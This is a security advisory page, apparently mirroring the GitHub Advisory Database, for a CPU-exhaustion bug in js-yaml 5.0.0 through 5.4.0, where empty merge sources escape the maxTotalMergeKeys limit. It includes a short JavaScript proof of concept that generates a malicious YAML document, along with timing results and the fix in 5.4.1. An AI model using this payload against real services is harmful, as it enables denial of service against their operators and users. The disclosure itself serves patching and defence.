All vulnerabilities
GHSA-r3ph-w7gj-g6xm

js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

js-yamlnpmLibraries & packages
CVSS
5.3Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in5.4.1Fixed versionGitHub
Published29 Sep 2026Updated 29 Sep 2026GitHub

What fixes it

  • 5.4.1js-yaml, npmGitHubnpm install js-yaml@5.4.1

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example

arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC

import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)

Observed results:

| N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s |

Impact

When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count every merge source mapping as one budget unit in addition to counting its keys.

Text from GitHub Advisory Database

Affected versions 2

  • js-yaml, npm>= 5.0.0, <= 5.4.0GitHub
  • js-yaml, npmfrom 5.0.0, fixed in 5.4.1OSV

References 4